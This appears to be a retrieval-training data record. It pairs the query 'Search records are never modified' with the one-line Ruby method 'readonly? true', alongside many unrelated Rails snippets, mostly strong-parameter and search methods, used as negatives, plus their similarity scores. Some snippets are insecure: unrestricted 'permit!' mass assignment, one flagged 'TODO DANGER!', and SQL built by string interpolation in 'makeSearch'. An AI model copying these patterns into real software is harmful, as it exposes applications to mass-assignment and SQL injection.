"def user_params\n allowed_params = [:username, :email, :jabber_id, :jabber_otr_fingerprint, :avatar]\n allowed_params << [:password, :password_confirmation] unless params[:user][:password].blank?\n allowed_params << [:role] if current_user.moderator_or_admin?\n allowed_params << [:tenant_ids => []] if current_user.admin?\n allowed_params << [:user_ids => []] if current_user.moderator_or_admin?\n params.require(:user).permit(allowed_params)\n end",
"def permitted=(_arg0); end",
"def safe_params\n safe_attributes = %i[name key]\n params.require(:role).permit(safe_attributes)\n end",
"def param_whitelist\n [:role, :title]\n end",
"def allow_params_authentication!; end",
"def defect_params\n params.require(:defect).permit(Defect.allowable_params)\n end",
"def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end",
"def object_params\n params.require(resource.name.underscore.to_sym)\n .permit(resource_params)\n end",
"def resource_params\n # TODO DANGER!\n params.require(@resource_class.name.underscore.to_sym).permit!\n end",
"def resource_params\n deserialized_params.permit!\n end",
"def sanitize_params\n if valid_lease?\n sanitize_lease_params\n elsif valid_embargo?\n sanitize_embargo_params\n elsif !wants_lease? && !wants_embargo?\n sanitize_unrestricted_params\n else\n @attributes\n end\n end",
"def update_params\n params.require(:permission_template)\n .permit(:release_date, :release_period, :release_varies, :release_embargo,\n :visibility, :workflow_id, :metadata_context_id,\n access_grants_attributes: %i[access agent_id agent_type id])\n end",
"def resource_params\n params.require(resource_name).permit(*permitted_params)\n end",
"def permition_params\n params.require(:permition).permit(:act, :information_system_id, :parameter)\n end",
"def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end",
"def resource_params\n permition = @klazz.attribute_names - [:created_at, :updated_at]\n @metadata.items.each do |entity|\n permition << {\"many_#{entity.name}_attributes\".to_sym =>\n [:id] + entity.many_field.map{|field| field.name.to_sym} - [:created_at, :updated_at]}\n end\n params.require(@resource_sym).permit(*permition)\n end",
"def update_permitted?\n\t\tacting_user.administrator?\n\tend",
"def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end",
"def allowed?\n raise NotImplementedError, 'please implement #allowed? '\\\n \"for #{self.class.name} which should decide if the action is allowed, \"\\\n 'based on the given attributes'\n end",
"def permit?(action)\n case action\n # -- list\n when :list\n permit?(:list_cases)\n\n # -- create\n when :create\n source? && @settings.working_hours?\n when :create_assignment\n agent? || enroller? || governor?\n when :create_note\n agent? || enroller?\n\n # -- edit\n when :edit\n agent? || governor? || enroller?\n when :edit_address\n agent? || source?\n when :edit_contact\n agent? || source?\n when :edit_address_geography\n source?\n when :edit_household\n agent? || governor? || permit?(:edit_household_source)\n when :edit_household_source\n permit?(:edit_household_ownership) || permit?(:edit_household_proof_of_income)\n when :edit_household_size\n agent? || governor?\n when :edit_household_ownership\n (agent? || source?) && requirement?(R::HouseholdOwnership)\n when :edit_household_proof_of_income\n (agent? || source?) && !requirement?(R::HouseholdProofOfIncomeDhs)\n when :edit_household_dhs_number\n (agent? || governor?) && proof_of_income?(P::Dhs)\n when :edit_household_size\n agent? || governor?\n when :edit_household_income\n (agent? || governor?) && proof_of_income?(P::Dhs)\n when :edit_supplier_account\n (agent? || source?) && requirement?(R::SupplierAccountPresent)\n when :edit_supplier\n agent? || (source? && !supplier?)\n when :edit_supplier_account_active_service\n agent? && requirement?(R::SupplierAccountActiveService)\n when :edit_food\n (source? || agent?) && requirement?(R::FoodDietaryRestrictions)\n when :edit_benefit\n agent? || enroller?\n when :edit_benefit_amount\n (agent? || enroller?)\n when :edit_benefit_contract\n (agent?) && requirement?(R::ContractPresent)\n when :edit_documents\n agent?\n when :edit_admin\n agent?\n\n # -- view\n when :view\n agent? || source? || enroller?\n when :view_details\n permit?(:view)\n when :view_details_status\n agent? || enroller?\n when :view_details_enroller\n agent?\n when :view_supplier_account\n permit?(:view) && requirement?(R::SupplierAccountPresent)\n when :view_food\n permit?(:view) && requirement?(R::FoodDietaryRestrictions)\n when :view_household_size\n (agent? || enroller?)\n when :view_household_ownership\n permit?(:view) && requirement?(R::HouseholdOwnership)\n when :view_household_proof_of_income\n (agent? || enroller?) && !requirement?(R::HouseholdProofOfIncomeDhs)\n when :view_household_dhs_number\n (agent? || enroller?) && proof_of_income?(P::Dhs)\n when :view_household_income\n (agent? || enroller?) && proof_of_income?(P::Dhs)\n when :view_supplier_account_active_service\n (agent? || enroller?) && requirement?(R::SupplierAccountActiveService)\n\n # -- actions\n when :convert\n agent?\n when :referral\n agent?\n when :complete\n agent? || enroller?\n\n # -- destroy\n when :destroy\n agent?\n when :destroy_assignment\n agent?\n\n # -- archive\n when :archive\n agent?\n else\n super\n end\n end",
"def ability_params\n params.require(:ability).permit(:child_id, :skill_id, :status)\n end",
"def permitUser\n @member_permitted_name=Member.where(:id=>params[:id]).first.first_name\n Member.update(params[:id], :permitted => 1)\n flash[:notice] = \"User #{@member_permitted_name} allowed to book multiple rooms\"\n redirect_to(:action => 'index' )\n end",
"def setting_attribute_is_allowed?(name, user)\n return false unless user.can_write?(self, name)\n (self.whitelisted_attributes && self.whitelisted_attributes.has_key?( name.to_sym)) ||\n (\n self.attribute_names.include?( name.to_s ) &&\n ( self.blacklisted_attributes.nil? ||\n ! self.blacklisted_attributes.has_key?( name.to_sym ) )\n )\n end",
"def permitted_params\n []\n end",
"def update_sanitized_params\n\t\t\tif \"#{resource_name}\" == \"lecturer\"\n\t\t\t\tdevise_parameter_sanitizer.for(:sign_up) {\n\t\t\t\t\t|lecturer| lecturer.permit(:name, :email,\n\t\t\t\t\t\t:password, :password_confirmation,\n\t\t\t\t\t\t:university, :department)\n\t\t\t\t}\n\t\t\t\tdevise_parameter_sanitizer.for(:account_update) {\n\t\t\t\t\t|lecturer| lecturer.permit(:name, :current_password,\n\t\t\t\t\t\t:password, :password_confirmation,\n\t\t\t\t\t\t:university, :department,\n\t\t\t\t\t\t:profile_image, :profile_image_cache)\n\t\t\t\t}\n\t\t\telsif \"#{resource_name}\" == \"student\"\n\t\t\t\tdevise_parameter_sanitizer.for(:sign_up) {\n\t\t\t\t\t|student| student.permit(:name, :email,\n\t\t\t\t\t\t:password, :password_confirmation,\n\t\t\t\t\t\t:university, :faculty, :major, :semester,\n\t\t\t\t\t\t:advising, :probation)\n\t\t\t\t}\n\t\t\t\tdevise_parameter_sanitizer.for(:account_update) {\n\t\t\t\t\t|student| student.permit(:name, :current_password,\n\t\t\t\t\t\t:password, :password_confirmation,\n\t\t\t\t\t\t:university, :faculty, :major, :semester,\n\t\t\t\t\t\t:advising, :probation, :profile_image,\n\t\t\t\t\t\t:profile_image_cache)\n\t\t\t\t}\n\t\t\telsif \"#{resource_name}\" == \"teaching_assistant\"\n\t\t\t\tdevise_parameter_sanitizer.for(:sign_up) {\n\t\t\t\t\t|teaching_assistant| teaching_assistant.permit(:name,\n\t\t\t\t\t\t:email, :password, :password_confirmation,\n\t\t\t\t\t\t:graduated_from, :graduated_year, :degree,\n\t\t\t\t\t\t:university, :department)\n\t\t\t\t}\n\t\t\t\tdevise_parameter_sanitizer.for(:account_update) {\n\t\t\t\t\t|teaching_assistant| teaching_assistant.permit(:name,\n\t\t\t\t\t\t:current_password, :password, :password_confirmation,\n\t\t\t\t\t\t:graduated_from, :graduated_year, :degree,\n\t\t\t\t\t\t:university, :department, :profile_image,\n\t\t\t\t\t\t:profile_image_cache)\n\t\t\t\t}\n\t\t\tend\n\t\tend",
"def build_permissions(perms, other)\n perms.permits! :read\n perms.permits! :write if self == other\n end"
] |
[
"0.7021978",
"0.70116997",
"0.6842978",
"0.6810495",
"0.66930366",
"0.66890526",
"0.6683903",
"0.6669894",
"0.66346925",
"0.6619715",
"0.6616482",
"0.6603774",
"0.6591382",
"0.6575441",
"0.6571492",
"0.65322673",
"0.6526096",
"0.6522984",
"0.65179324",
"0.6509001",
"0.6472105",
"0.6470699",
"0.6453268",
"0.6430182",
"0.6426571",
"0.6419479",
"0.6388663",
"0.6388663",
"0.63702244",
"0.63616145",
"0.63616145",
"0.63557994",
"0.6351138",
"0.63503844",
"0.63418424",
"0.6335304",
"0.6328398",
"0.6312951",
"0.6303428",
"0.6302541",
"0.6297818",
"0.62828875",
"0.62750447",
"0.6271651",
"0.6268271",
"0.62395513",
"0.6235697",
"0.6230176",
"0.6230176",
"0.6226926",
"0.621515",
"0.6214966",
"0.61981875",
"0.6197931",
"0.61972195",
"0.6195276",
"0.61922556",
"0.6179461",
"0.6178954",
"0.6162487",
"0.6152949",
"0.6152531",
"0.61452174",
"0.6140278",
"0.6129645",
"0.61289674",
"0.61265105",
"0.6117172",
"0.6112027",
"0.6107995",
"0.6107995",
"0.6107995",
"0.6107995",
"0.6105052",
"0.6101699",
"0.6087544",
"0.60868734",
"0.6079812",
"0.60737306",
"0.60722435",
"0.6064836",
"0.60640776",
"0.60515136",
"0.60443574",
"0.6029287",
"0.60191864",
"0.60153013",
"0.6008182",
"0.60000086",
"0.5984416",
"0.5976685",
"0.59696764",
"0.5968851",
"0.59680927",
"0.59661347",
"0.5965999",
"0.59604114",
"0.595847",
"0.59557265",
"0.5954835",
"0.59519386"
] |
0.0
|
-1
|
Search records are never modified
|
def readonly?; true; end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def search; end",
"def search\n\n end",
"def search \n\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n end",
"def search\n\n end",
"def build_search(records, search)\n records = records.where(name: search.name) if search.name.present?\n records = records.where(profession: search.profession) if search.profession.present?\n records = records.where(grade: search.grade) if search.grade.present?\n\n records\n end",
"def search\r\nend",
"def records\n @records ||= search.records\n end",
"def search(query); end",
"def search(records, field, criteria)\n records.where(\"#{field} = ?\", encrypt(criteria))\n end",
"def search_record\n [\n @name,\n full_name,\n @name,\n @parent.full_name,\n path,\n params,\n snippet(@comment),\n ]\n end",
"def searchable_by *fields\n self.fields = process_fields(fields)\n end",
"def search\nend",
"def make_search_data(cond_wheather)\n @search_query = \"\"\n\n\n end",
"def search_data(search) \n key = 0\n found = 0 \n @buffers[@active_buffer].last_displayed_line = 0\n @buffers[@active_buffer].clean_buffers_other_than([]) #clean all buffers\n @buffers[@active_buffer].add_previous_search(@buffers[@active_buffer-1].regex_array) \n while data = read_file(key) do \n break if data.length==1 \n set_data = @buffers[@active_buffer].loaded_data_size < @@BLOCK_SIZE*2 \n found += @buffers[@active_buffer].set_buffer_data(key,data,search,set_data)[1] \n key = @buffers[@active_buffer].get_next_buffer(key)\n break if key.nil? \n end\n Rula.log(Logger::INFO,\"Found #{found} items\",self) \n @file_eof = false\n end",
"def new_search_data\n # for now these are the same\n activity_search_data\n end",
"def search\n\t\tbegin\n\t\t # Need a variable to avoid duplicate record insertion while applying filters\t\n\t if params[:is_new].to_s.downcase == \"true\"\n\t history = UserSearchHistory.new(params[:location])\n\t history.save!\n\t mongo_user_search = MongoUserSearch.add_search_records(current_user,params[:location]) unless current_user.blank?\n\t end\n\t @records = MongoUserSearch.records_in_miles(current_user,params[:location][:latitude],params[:location][:longitude])\n\t render :json => {:success => true, :message => \"search successful\" ,:results => @records}, :status => 200\n\t rescue Exception => e\n\t \tp e\n\t render :json => {:success => false, :message => \"Error\", :results => @records}, :status => 200\n\t end\n\tend",
"def filter(record)\n true\n end",
"def search(query)\n @all.each_with_object([]) do |record, matches|\n matches << record if ((record['866']['t'] == query) || (record['866']['s'] == query))\n end\n end",
"def complete_search\n if is_boolean? && !!@search_value != @search_value\n puts 'No result found'\n return\n end\n if NUMBER_TO_OBJECT_MAP[@object].column_names.include?(@search_term)\n results = NUMBER_TO_OBJECT_MAP[@object].where(\"#{@search_term}\" => @search_value)\n else\n results = NUMBER_TO_OBJECT_MAP[@object].joins(@search_term.to_sym).where(\"#{@search_term}\" => { value: @search_value })\n end\n \n if !results.empty?\n puts 'Result'\n puts '-------------'\n results.each do |result|\n result.render_object\n end\n else\n puts 'No result found'\n end\n results\n end",
"def find_records(predicate)\n raise_must_override\n end",
"def search(criteria = {})\r\n \r\n end",
"def search\n pi = page_info\n pi.record = SearchForm.new(model, params[:edgarj_search_form])\n pi.page = 1\n pi.save!\n @search = pi.record\n prepare_list if @search.valid?\n end",
"def updateSearching(sender)\n info = ''\n @mdItemController.selectedObjects.to_a.each do |item| \n item.attributes.to_a.each do |attr_name|\n info += \"#{attr_name} = #{item.valueForAttribute(attr_name).to_s} \\n\"\n end\n end\n @metaDataView.setString(info) \n end",
"def makeSearch #:doc:\n # beginning of sql query string\n sql = @select_part1 + \" \" + @select_part2\n\n begin\n @hash_in_where = \"\"\n \n if @context_hash != nil\n \n # If 'user' parameter given, only files owned by 'user' can be in search results.\n only_these_users_in_where = \"\"\n if @only_these_users != nil\n only_these_users_in_where = \" users.username IN (\"\n users = @only_these_users.split(' ')\n users.each_with_index do |x, i|\n if i == 0\n only_these_users_in_where += \"'\" + x + \"'\"\n else\n only_these_users_in_where += ', ' + \"'\" + x + \"'\"\n end\n end\n \n only_these_users_in_where += \") AND \"\n end\n \n \n # Find devfiles that have queried context_hash\n devfiles = Devfile.find_by_sql(\"SELECT devfiles.id as devfile_id, devfiles.device_id, metadatas.devfile_id, metadatas.metadata_type_id,\n metadatas.value, metadata_types.id, metadata_types.name,\n devices.id, devices.user_id, users.id, users.username \n FROM devfiles, metadatas, metadata_types, devices, users\n WHERE metadatas.value = '\"+@context_hash+\"' AND\n metadata_types.name = 'context_hash' AND\n devfiles.id = metadatas.devfile_id AND\n devices.id = devfiles.device_id AND\n devices.user_id = users.id AND #{only_these_users_in_where}\n metadatas.metadata_type_id = metadata_types.id\")\n \n if devfiles != nil && devfiles.size > 0\n # Add id:s of devfiles that will be included into results, because these devfiles belong to queried context\n @hash_in_where = \" OR devfiles.id IN ( \"\n \n @devfiles_in_context = Array.new\n \n devfiles.each_with_index do |x, i|\n @devfiles_in_context.push(x.devfile_id)\n if i == 0\n @hash_in_where += x.devfile_id.to_s\n else\n @hash_in_where += \", \" + x.devfile_id.to_s\n end \n end\n @hash_in_where += \" )\"\n end\n end\n puts @hash_in_where\n available_files_only_in_where = \"\"\n \n if @availableFilesOnly == true\n available_files_only_in_where = \" AND ( blobs.uploaded = 1 OR devices.last_seen >= '#{device_online_timeout.to_s(:db)}' ) \"\n end\n \n show_deleted_files_in_where = \"\"\n \n if @showDeletedFiles == false && @queryparams[:what_to_get] =~ /files/i\n show_deleted_files_in_where = \" AND devfiles.deleted = 0 \"\n end\n \n # make the where-part of the sql query\n if not @versionlist_conditions\n makeConditions\n if @condition_string != \"\" || @hash_in_where != \"\"\n sql += \" ( \" + @condition_string + @hash_in_where + \" ) \"\n else\n sql += \" false \"\n end\n sql += show_deleted_files_in_where + available_files_only_in_where + @default_id_conditions\n else\n sql += \" \" + @versionlist_conditions + \" \" + @default_id_conditions\n end\n rescue => exp\n putsE(exp)\n raise exp\n end\n\n @sql = sql\n \n # sorting order\n @sql_sorting = \"\"\n if not @versionlist_sorting\n @sql_sorting = getSortingOrder\n else\n @sql_sorting = @versionlist_sorting\n end\n \n sql += \" ORDER BY \" + @sql_sorting\n puts \"Initial SQL: #{sql}\"\n \n @results_per_page = 100 # default\n @show_page = 1 # default\n if @queryparams[:format] == \"atom\"\n @results_per_page = 100 #default maxresults for atom-feed\n if @queryparams[:maxresults] and @queryparams[:maxresults] =~ /^\\d{1,}$/\n @results_per_page = @queryparams[:maxresults]\n end\n else\n if @queryparams[:perpage]\n @results_per_page = @queryparams[:perpage].to_i\n end\n if @queryparams[:page] and @queryparams[:page] =~ /^\\d{1,}$/\n @show_page = @queryparams[:page]\n end\n end\n\n # will_paginate uses sql-subqueries to get COUNT of rows. Subqueries are NOT\n # supported by Mysql versions < 4.1. So we have to do the counting by ourselves...\n count = sql.gsub(@select_part1, \"SELECT COUNT(*) AS entries\").gsub(/\\sORDER BY.*$/, \"\").gsub!(/\\:\\w+/) do |s|\n \"'\" + @condition_values[s.gsub(\":\", \"\").intern].to_s + \"'\"\n end\n \n \n \n if @queryparams[:what_to_get] =~ /files/i\n # entries = Devfile.count_by_sql(count)\n\n # Pagination will be made later, with new sql query\n @results = Devfile.find_by_sql [sql, @condition_values]#,\n# :page => @show_page,\n# :per_page => @results_per_page,\n# :total_entries => entries\n # Remove files from results that user is not allowed to access\n checkFileRightstoResults \n elsif @queryparams[:what_to_get] =~ /devices/i\n entries = Device.count_by_sql(count)\n @results = Device.paginate_by_sql [sql, @condition_values],\n :page => @show_page,\n :per_page => @results_per_page,\n :total_entries => entries\n # SHOULD EVERYONE BE ALLOWED TO SEE ALL DEVICES?\n \n elsif @versionlist_conditions\n entries = Blob.count_by_sql(count)\n @results = Blob.paginate_by_sql [sql, @condition_values],\n :page => @show_page,\n :per_page => @results_per_page,\n :total_entries => entries\n end\n end",
"def live_search\n # @campaigns = Campaign.find_latest params[:textfield]\n @campaigns = Campaign.contains(params[:textfield])\n render :layout => false\n end",
"def search_filter(search_term)\n @items = @items.where('client_name like ? OR client_ssn like ? OR case_id like ?', \"%#{search_term}%\", \"%#{search_term}%\", \"%#{search_term}%\")\n @old_items = @items.where('client_name like ? OR client_ssn like ? OR case_id like ?', \"%#{search_term}%\", \"%#{search_term}%\", \"%#{search_term}%\")\n session[:search] = search_term\n end",
"def cloud_search_reindex(*args)\n self.cloud_search_batch_documents do\n self.find_each(*args) do |record|\n record.add_to_cloud_search\n end\n end\n end",
"def list_entries_with_search\n list_entries_without_search.where(search_condition)\n end",
"def search_records(match)\n match = match.downcase\n conn.exec_params('SELECT * FROM contacts WHERE lower(first_name)=$1 OR lower(last_name)=$1', [match])\n end",
"def search\n binding.pry\n @recipe = Recipe.where\n end",
"def edit_book()\n puts title_box(\"Edit book in a log\")\n log = edit_log('Please select a log')\n search_result = add_dets(\"Search by title or author:\")\n\n exist = false\n\n for i in 0..log.length-1\n if log[i][0].include?(search_result.to_s)\n puts log[i]\n user_input = add_dets(\"Please enter new title details:\")\n log[i][0] = user_input\n puts \"Record updated to #{log[i][0]} by #{log[i][1]}\"\n exist = true\n elsif log[i][1].include?(search_result)\n puts \"Record located. #{log[i]}\"\n user_input = add_dets(\"Please enter new author details:\")\n log[i][1] = user_input\n puts \"Record updated to #{log[i][0]} by #{log[i][1]}\"\n exist = true\n end\n end \n if exist == false\n search_error()\n end\n back_to_main()\nend",
"def update_search\n return true unless @searching\n if Input.trigger?(:A)\n @searching = false\n @search_bar.visible = false\n @base_ui.hide_win_text\n @base_ui.ctrl.last.visible = true\n Input::Keys[:A].clear.concat(@saved_keys)\n else\n @search_bar.update\n update_list_input\n end\n return false\n end",
"def mark_states_for_search\n new_states = self.states.where(search: false)\n # Comment out next line to turn off source-on-demand for demo/speed purposes\n Opportunity.source_opportunities(new_states.map {|s| s.name})\n new_states.update_all(search: true)\n end",
"def update_document\n if searchables\n text = searchable_values.flatten.join(' ')\n return document.update_attribute(:search_text, text) if document\n create_document(search_text: text)\n end\n end",
"def record_default_search\n Umbra::Record.search {\n fulltext params[:q]\n any_of do\n current_user_admin_collections.each { |collection|\n with(:collection, collection)\n }\n end\n order_by(sort_column.to_sym, sort_direction.to_sym)\n paginate :page => params[:page] || 1, :per_page => 30\n }\n end",
"def load_records\n get_paging_parameters\n @filter, @subfilter, find_include, find_conditions, @total_records = filter_prepare\n find_order = @sortable_columns.has_key?(@sidx) ? (@sortable_columns[@sidx] + ' ' + ((@sord == 'desc') ? 'DESC' : 'ASC')) :\n (@default_sidx ? @sortable_columns[@default_sidx] + ' ASC' : nil)\n # find_order = @sortable_columns.include?(@sidx) ? (@sidx + ' ' + ((@sord == 'desc') ? 'DESC' : 'ASC')) :\n # (@default_sidx ? @default_sidx + ' ASC' : nil)\n rows_per_page = @rows_per_page\n if rows_per_page > 0\n @total_pages = (@total_records > 0 && rows_per_page > 0) ? 1 + (@total_records/rows_per_page).ceil : 0\n @page = @total_pages if @page > @total_pages\n @page = 1 if @page < 1\n @start_offset = rows_per_page*@page - rows_per_page\n else\n @total_pages = 1\n rows_per_page = @total_records\n @start_offset = 0\n end\n if @start_offset < 0\n puts \"??Why is start_offset negative?\"\n @start_offset = 0\n end\n if @livesearch && @livesearch.size > 0\n livesearch_fields = @livesearch_fields[@livesearch_field] rescue []\n if livesearch_fields.size > 0\n fields_conditions = []\n @livesearch.split(' ').each do |substring|\n live_conditions = [] \n livesearch_fields.each do |f|\n find_conditions << \"%#{substring}%\"\n live_conditions << \"#{f} LIKE ?\" \n end\n fields_conditions << '(' + live_conditions.join(' or ') + ')'\n end\n find_conditions[0] += ' and (' + fields_conditions.join(' and ') + ')'\n end\n end\n puts \"Rows per page #{@rows_per_page}, offset #{@start_offset}, find_order #{find_order}, find_conditions #{find_conditions}, find_include #{find_include}.\"\n scoped_model.find(:all, :include => find_include, :conditions => find_conditions,\n :limit => rows_per_page, :offset => @start_offset, :order => find_order)\n end",
"def search(find_val)\n false\n end",
"def search_record\n [\n name,\n full_name,\n full_name,\n '',\n path,\n '',\n snippet(@comment_location),\n ]\n end",
"def search_from_fresh( query, page )\n @search_data = {}\n @search_results = []\n \n index_search_status = search_from_fresh_index( query, page )\n \n if @index.current_results_total === 0\n @search_data = nil\n else\n dataset_search_status = search_from_fresh_datasets()\n end\n \n if @index.ordered_results.size > 0\n @search_results = paged_results()\n end\n \n if index_search_status and dataset_search_status\n obj_to_cache = {\n :search_data => @search_data,\n :current_page => @index.current_page,\n :current_results_total => @index.current_results_total,\n :ordered_results => @index.ordered_results\n }\n @cache.write( \"query:#{query}-page:#{page}\", obj_to_cache.to_json, :expires_in => 3.hours )\n end\n end",
"def small_search(relation)\n Post.transaction do\n Post.connection.execute(\"SET LOCAL enable_seqscan = off\")\n Post.connection.execute(\"SET LOCAL enable_indexscan = off\")\n relation.load\n end\n end",
"def search(value)\n # YOUR WORK HERE\n end",
"def find(*args)\n records = super\n @after.call(records) if @after\n records\n end",
"def parse_search; end",
"def updateFilter(sender)\n search_string = search_bar.stringValue\n search_regexp = Regexp.new(search_string, Regexp::IGNORECASE)\n if search_string.empty?\n parent.display_files = parent.files\n end\n\n parent.display_files = parent.files.find_all do |file|\n file[:artist] =~ search_regexp || file[:song] =~ search_regexp\n end\n parent.update_display_filenames\n parent.songs_view.reloadData\n end",
"def update_search_data\n self.search_data = [self.title, self.author, self.filename].join('|')\n .downcase\n .squeeze(' ')\n .gsub(/[^a-z\\s|]/, '')\n end",
"def lookup force_reprocess = false\n logger.info \"searching #{self.doc_id}\"\n\n raise \"not saved yet\" unless self.id\n\n # Check if the last image search was more than a day ago\n if (\n self.last_search.nil? ||\n self.last_search < (DateTime.current - LOOKUP_LIMIT) ||\n force_reprocess\n ) &&\n !self.locked\n\n self.last_search = DateTime.current\n\n if self.music?\n MusicBrainzWorker.perform_async self.id\n # fails over to LastFM\n\n elsif self.ht_id.present?\n # Check Hathi Trust 1st when available.\n # this will fail over to google if necessary\n HathiTrustWorker.perform_async self.id\n\n else\n SyndeticsWorker.perform_async self.id\n\n # if syndetics fails, it kicks off google\n # if google fails, it kicks off the OpenLibrary job\n end\n end\n\n # Used to stop the after_commit callback\n self.run_lookup = false\n save\n\n rescue StandardError => e\n self.status = 'error'\n self.response_data = e\n end",
"def apply_search_criteria( ds, options )\n\t\tif (( criteria = options[:criteria] ))\n\t\t\tcriteria.each do |field, value|\n\t\t\t\tself.log.debug \" applying criteria: %p => %p\" % [ field.to_s, value ]\n\t\t\t\tds = ds.select {|uuid| @storage[uuid][field.to_s] == value }\n\t\t\tend\n\t\tend\n\n\t\treturn ds\n\tend",
"def search\n request.write_attributes request_attributes\n @search ||= request.call\n end",
"def search_keyword(search, admin)\n permissions = admin ? @@member + @@admin_only : @@member\n @results = []\n\n for col in permissions\n self.update_results(col, search)\n end\n @results\n end",
"def perform_adv_search_for_all(data_set)\n click_clear_button\n select_adv_search_all_option\n search_input_errors = enter_object_id_search_data data_set\n click_search_button\n search_input_errors\n end",
"def set_search_fields(fields, precision)\n condition = nil\n # when the results have match with all fields\n condition = \"AND\" if params[\"Match all\"]\n fields.each do |field|\n @results = @data.search_by params[field], field, condition, precision unless params[field]==\"\"\n end\n end",
"def process_search(search_params, page, advanced_search=false)\n if !search_params\n flash[:search_error] = \"No search was specified\"\n return\n end\n \n\n\n page = 1 if page < 1\n \n if !advanced_search\n [ :person, :organisation, :status_id].each do |p|\n search_params[p] ||= \"\"\n end\n end\n\n search_params[:category_filter] ||= []\n search_params[:category_filter] = ((search_params[:category_filter].is_a? Array) ? search_params[:category_filter].join(', ') : search_params[:category_filter])\n search_params[:role_id_ids] ||= []\n search_params[:role_id_ids] = ((search_params[:role_id_ids].is_a? Array) ? search_params[:role_id_ids].join(', ') : search_params[:role_id_ids])\n search_params[:membership_id_ids] ||= []\n search_params[:membership_id_ids] = ((search_params[:membership_id_ids].is_a? Array) ? search_params[:membership_id_ids].join(', ') : search_params[:membership_id_ids])\n search_params[:role_status_id_ids] ||= []\n search_params[:role_status_id_ids] = ((search_params[:role_status_id_ids].is_a? Array) ? search_params[:role_status_id_ids].join(', ') : search_params[:role_status_id_ids])\n search_params[:contributor_status_id_ids] ||= []\n search_params[:contributor_status_id_ids] = ((search_params[:contributor_status_id_ids].is_a? Array) ? search_params[:contributor_status_id_ids].join(', ') : search_params[:contributor_status_id_ids])\n \n search_params[:updated_at_from_s] = (Time.parse(search_params[:updated_at_from]) rescue Time.now).to_i.to_s if !search_params[:updated_at_from].blank?\n search_params[:updated_at_to_s] = (Time.parse(search_params[:updated_at_to]) rescue Time.now).to_i.to_s if !search_params[:updated_at_to].blank?\n search_params[:created_at_from_s] = (Time.parse(search_params[:created_at_from]) rescue Time.now).to_i.to_s if !search_params[:created_at_from].blank?\n search_params[:created_at_to_s] = (Time.parse(search_params[:created_at_to]) rescue Time.now).to_i.to_s if !search_params[:created_at_to].blank?\n \n # default to basic search\n if !advanced_search\n \n results, paginator = find_contacts_by_solr(search_params, page)\n {\n :person_query => search_params[:person],\n :organisation_query => search_params[:organisation],\n :results => results,\n :paginator => paginator,\n }\n else\n results, paginator = find_role_contactinfos_by_solr(search_params, page)\n {\n :results => results,\n :paginator => paginator\n }\n end\n \n \n end",
"def filtered_entries; end",
"def find; end",
"def save_search?(_user = nil)\n SAVE_SEARCHES # TODO: criteria?\n end",
"def work!\n (@start..@stop).each {|i| return if $found; d = $data[i]; $found = true and puts \"Found #{d}\" if d == $search_key }\n end",
"def index\n if(params[:submit_search])\n recordtemp=params.dup\n recordtemp[:address]=nil\n recordtemp=recordtemp.merge(params[:address])\n if(current_user_session)\n recordtemp[:email]=current_user_session.user_auth.email\n else\n flash[:notice]='You have not logged in yet'\n end\n #logger.debug 'current user session email'+current_user_session.user_auth.email\n #logger.debug recordsave.inspect\n @record=RrSaleRecord.new\n @record.attributes.keys\n recordsave=recordtemp.reject { |key,value| !@record.attributes.keys.include? key }\n \n @record=RrSaleRecord.create(recordsave)\n if(params[:address][:id].blank? && (params[:address][:city_name].blank? || params[:address][:state_id].blank?))\n flash.now[:warning]='a city and state is required for search'\n else\n if params[:address][:id]\n @addressselected=Address.find(params[:address][:id]).attributes.symbolize_keys\n else\n @addressselected=params[:address]\n end\n\n #flash[:warning]=nil\n addrhash=Hash.new\n pricerange=params[:price_min]..params[:price_max] if(!params[:price_min].blank? && !params[:price_max].blank?)\n squarefeetrange=params[:square_feet_min]..params[:square_feet_max] if(!params[:square_feet_min].blank? && !params[:square_feet_max].blank?)\n @addressselected.each_pair {|k,v| addrhash[k]=v if !v.blank?}\n\n blk = lambda {|h,k| h[k] = Hash.new(&blk)}\n cond=Hash.new(&blk)\n #cond.default ={}\n cond[:price]=pricerange if pricerange\n cond[:mls_number]=params[:mls_number] if !params[:mls_number].blank?\n #(cond[:residential_realty] ||= {}) << {:square_feet=>squarefeetrange} if squarefeetrange\n cond[:residential_realties][:num_of_beds.gte]=params[:beds] if !params[:beds].blank?\n cond[:residential_realties][:num_bath.gte]=params[:baths] if !params[:baths].blank?\n cond[:residential_realties][:square_feet]=squarefeetrange if squarefeetrange\n cond[:residential_realties][:addresses]=addrhash if(!addrhash.empty?)\n case params[:show_type]\n when 'all'\n #cond[:status]=nil\n when 'pending'\n cond[:status]=AdsCommon::STATUS_PENDING\n else\n cond[:status.not]=AdsCommon::ARRAY_AD_INVALID\n end\n #logger.debug(cond.inspect)\n @rr_sales = RrSale.paginate :page => params[:page], :joins => {:residential_realty=>:address}, :order => sort_order('created_at'), :conditions =>cond\n end\n else\n @rr_sales = RrSale.paginate :conditions=>{:status.not=>AdsCommon::ARRAY_AD_INVALID}, :order => sort_order('created_at'),:page => params[:page], :include=>{:residential_realty => [:address, :user]}\n end\n\n #rr_sale_array=@rr_sales.map {|x| x.id}\n\n #thumbups=Thumb.count(:thumbup,:group=>['thumbable_id'],:conditions=>{:thumbable_type=>'RrSale',:thumbable_id=>rr_sale_array})\n \n \n #render :search\n\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @rr_sales }\n end\n end",
"def set_search\n @search_adie = Adie.search(params[:q])\n @search_company = Company.search(params[:q])\n @search_employee = Employee.search(params[:q])\n end",
